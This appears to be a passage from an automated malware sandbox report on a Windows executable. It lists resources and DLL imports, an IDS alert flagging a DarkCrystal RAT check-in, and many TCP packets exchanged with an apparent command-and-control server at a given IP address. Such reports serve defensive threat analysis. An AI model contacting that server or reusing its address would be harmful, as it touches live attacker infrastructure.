RT_DIALOG	0x67a3c	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x67d74	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x67fc8	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x681ac	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x68378	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x68530	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x68678	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x68ae4	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x68c4c	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x68da0	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x68eac	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x68f68	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x69040	0x14	data			1.05
RT_MANIFEST	0x69054	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, LocalFree, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T07:57:31.379268+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49736	89.23.100.242	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 07:57:30.524283886 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:30.529469013 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:30.529670954 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:30.531393051 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:30.536446095 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:30.877572060 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:30.882489920 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.274888992 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.379204035 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.379251003 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.379267931 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:31.429939985 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:31.434773922 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.514209032 CET	49737	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:31.519072056 CET	80	49737	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.519167900 CET	49737	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:31.519287109 CET	49737	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:31.524125099 CET	80	49737	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.670556068 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.670717001 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:31.675589085 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.876787901 CET	49737	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:31.881737947 CET	80	49737	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.881766081 CET	80	49737	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.881773949 CET	80	49737	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.931037903 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:31.952721119 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:31.957629919 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.194262981 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.194561958 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.199501991 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.199573994 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.255752087 CET	80	49737	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.360888958 CET	49737	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.408117056 CET	80	49737	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.441204071 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.470607996 CET	49737	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.517034054 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.601072073 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.601514101 CET	49738	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.606215000 CET	80	49736	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.606281996 CET	49736	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.606338978 CET	80	49738	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.606401920 CET	49738	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.606549025 CET	49738	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.609419107 CET	49737	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.611416101 CET	80	49738	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.614398003 CET	80	49737	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.614497900 CET	49737	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.956928015 CET	49738	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:32.962167025 CET	80	49738	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.962188005 CET	80	49738	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:32.962199926 CET	80	49738	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:33.361191988 CET	80	49738	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:33.489578009 CET	49739	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:33.495035887 CET	80	49739	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:33.495337009 CET	49739	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:33.496103048 CET	49739	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:33.496560097 CET	80	49738	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:33.496718884 CET	49738	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:33.500993967 CET	80	49739	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:33.681040049 CET	49740	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:33.686196089 CET	80	49740	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:33.686275959 CET	49740	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:33.686378002 CET	49740	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:33.691236973 CET	80	49740	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:33.845182896 CET	49739	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:33.850301981 CET	80	49739	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:33.850474119 CET	80	49739	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.032778978 CET	49740	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.038023949 CET	80	49740	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.038042068 CET	80	49740	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.038057089 CET	80	49740	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.259073019 CET	80	49739	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.314184904 CET	49739	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.394682884 CET	80	49739	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.436712027 CET	49739	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.450289965 CET	80	49740	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.586520910 CET	80	49740	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.586594105 CET	49740	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.835117102 CET	49739	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.835201979 CET	49740	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.835544109 CET	49743	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.840451956 CET	80	49739	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.840470076 CET	80	49740	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.840483904 CET	80	49743	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:34.840497017 CET	49739	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.840539932 CET	49740	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.840565920 CET	49743	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.840650082 CET	49743	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:34.845508099 CET	80	49743	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:35.189908981 CET	49743	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.195075035 CET	80	49743	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:35.195116043 CET	80	49743	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:35.195147991 CET	80	49743	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:35.573590040 CET	80	49743	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:35.606478930 CET	49738	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.689012051 CET	49743	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.725929022 CET	80	49743	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:35.860882044 CET	49743	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.938079119 CET	49744	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.939111948 CET	49743	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.943185091 CET	80	49744	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:35.943334103 CET	49744	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.943367958 CET	49744	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.944317102 CET	80	49743	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:35.944376945 CET	49743	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:35.948178053 CET	80	49744	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:36.298312902 CET	49744	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:36.303397894 CET	80	49744	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:36.303416967 CET	80	49744	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:36.303431034 CET	80	49744	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:36.700068951 CET	80	49744	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:36.833344936 CET	80	49744	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:36.833797932 CET	49744	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:39.408490896 CET	49744	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:39.408701897 CET	49746	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:39.413547993 CET	80	49746	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:39.413657904 CET	49746	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:39.413717985 CET	80	49744	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:39.413741112 CET	49746	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:39.413777113 CET	49744	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:39.418613911 CET	80	49746	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:39.767108917 CET	49746	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:39.772176027 CET	80	49746	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:39.772222042 CET	80	49746	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:40.175774097 CET	80	49746	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:40.309935093 CET	49746	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:40.310460091 CET	80	49746	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:40.425162077 CET	49746	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:40.748334885 CET	49746	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:40.748768091 CET	49747	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:40.753549099 CET	80	49746	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:40.753618002 CET	49746	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:40.753726006 CET	80	49747	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:40.753796101 CET	49747	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:40.753892899 CET	49747	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:40.758770943 CET	80	49747	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:41.111181974 CET	49747	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:41.116415977 CET	80	49747	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:41.116453886 CET	80	49747	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:41.116482973 CET	80	49747	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:41.504169941 CET	80	49747	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:41.656285048 CET	80	49747	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:41.659218073 CET	49747	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:42.106889009 CET	49747	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:42.112303972 CET	80	49747	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:42.112361908 CET	49747	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:42.181252003 CET	49748	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:42.188072920 CET	80	49748	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:42.188149929 CET	49748	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:42.188240051 CET	49748	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:42.194881916 CET	80	49748	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:42.532938004 CET	49748	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:42.538995981 CET	80	49748	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:42.539012909 CET	80	49748	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:42.539026976 CET	80	49748	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:42.925580978 CET	80	49748	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:43.019200087 CET	49748	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:43.052711010 CET	80	49748	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:43.204710960 CET	49748	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:44.021030903 CET	49748	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:44.021331072 CET	49750	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:44.026216030 CET	80	49750	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:44.026256084 CET	80	49748	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:44.026289940 CET	49750	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:44.026335955 CET	49748	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:44.026431084 CET	49750	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:44.031275988 CET	80	49750	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:44.376519918 CET	49750	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:44.381730080 CET	80	49750	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:44.381767035 CET	80	49750	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:44.381794930 CET	80	49750	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:44.793194056 CET	80	49750	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:44.945664883 CET	80	49750	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:44.949732065 CET	49750	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.126107931 CET	49750	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.131244898 CET	80	49750	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.131716967 CET	49750	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.154113054 CET	49752	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.159055948 CET	80	49752	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.159868956 CET	49752	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.160131931 CET	49752	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.164979935 CET	80	49752	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.318916082 CET	49753	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.323965073 CET	80	49753	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.324095964 CET	49753	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.325611115 CET	49753	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.330569983 CET	80	49753	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.338794947 CET	49752	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.390168905 CET	80	49752	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.480540991 CET	49754	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.485636950 CET	80	49754	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.485970974 CET	49754	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.486416101 CET	49754	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.491255045 CET	80	49754	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.667525053 CET	80	49752	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.667717934 CET	49752	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.673350096 CET	49753	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.678389072 CET	80	49753	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.678404093 CET	80	49753	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.855304956 CET	49754	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:45.860667944 CET	80	49754	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.860699892 CET	80	49754	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:45.860727072 CET	80	49754	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:46.060854912 CET	80	49753	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:46.204541922 CET	49753	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:46.213042021 CET	80	49753	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:46.222455978 CET	80	49754	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:46.313926935 CET	49753	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:46.314240932 CET	49754	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:46.356924057 CET	80	49754	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:46.505152941 CET	49754	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:47.809942961 CET	49753	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:47.810132027 CET	49754	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:47.810403109 CET	49755	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:47.815177917 CET	80	49753	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:47.815198898 CET	80	49755	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:47.815241098 CET	49753	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:47.815283060 CET	49755	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:47.815376997 CET	80	49754	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:47.815390110 CET	49755	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:47.815428972 CET	49754	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:47.820195913 CET	80	49755	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:48.173391104 CET	49755	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:48.178677082 CET	80	49755	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:48.178714991 CET	80	49755	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:48.178742886 CET	80	49755	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:48.556001902 CET	80	49755	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:48.673284054 CET	49755	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:48.685468912 CET	80	49755	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:48.814802885 CET	49755	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:48.815211058 CET	49756	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:48.819983959 CET	80	49755	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:48.820053101 CET	49755	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:48.820173979 CET	80	49756	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:48.820255041 CET	49756	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:48.820349932 CET	49756	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:48.825186014 CET	80	49756	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:49.173388004 CET	49756	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:49.178735971 CET	80	49756	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:49.178775072 CET	80	49756	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:49.178807974 CET	80	49756	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:49.563672066 CET	80	49756	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:49.609119892 CET	49756	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:49.711436987 CET	49756	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:49.711898088 CET	49757	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:49.716696024 CET	80	49756	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:49.716767073 CET	49756	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:49.716851950 CET	80	49757	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:49.716969013 CET	49757	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:49.717104912 CET	49757	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:49.721939087 CET	80	49757	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:50.067127943 CET	49757	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:50.072397947 CET	80	49757	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:50.072441101 CET	80	49757	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:50.072470903 CET	80	49757	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:50.463190079 CET	80	49757	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:50.590858936 CET	80	49757	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:50.593066931 CET	49757	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:50.718743086 CET	49757	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:50.718748093 CET	49758	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:50.723781109 CET	80	49758	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:50.723968983 CET	80	49757	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:50.723982096 CET	49758	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:50.724101067 CET	49758	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:50.724101067 CET	49757	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:50.728988886 CET	80	49758	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.079622030 CET	49758	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.084733009 CET	80	49758	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.084777117 CET	80	49758	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.084805965 CET	80	49758	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.221288919 CET	49759	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.226480007 CET	80	49759	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.226550102 CET	49759	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.226663113 CET	49759	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.231601954 CET	80	49759	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.248112917 CET	49758	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.253494978 CET	80	49758	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.253556967 CET	49758	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.378345013 CET	49760	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.383476019 CET	80	49760	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.383590937 CET	49760	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.383697987 CET	49760	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.388525963 CET	80	49760	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.579586983 CET	49759	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.584790945 CET	80	49759	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.584834099 CET	80	49759	89.23.100.242	192.168.2.4
Jan 10, 2025 07:57:51.736162901 CET	49760	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:57:51.741314888 CET	80	49760	89.23.100.242	192.168.2.4
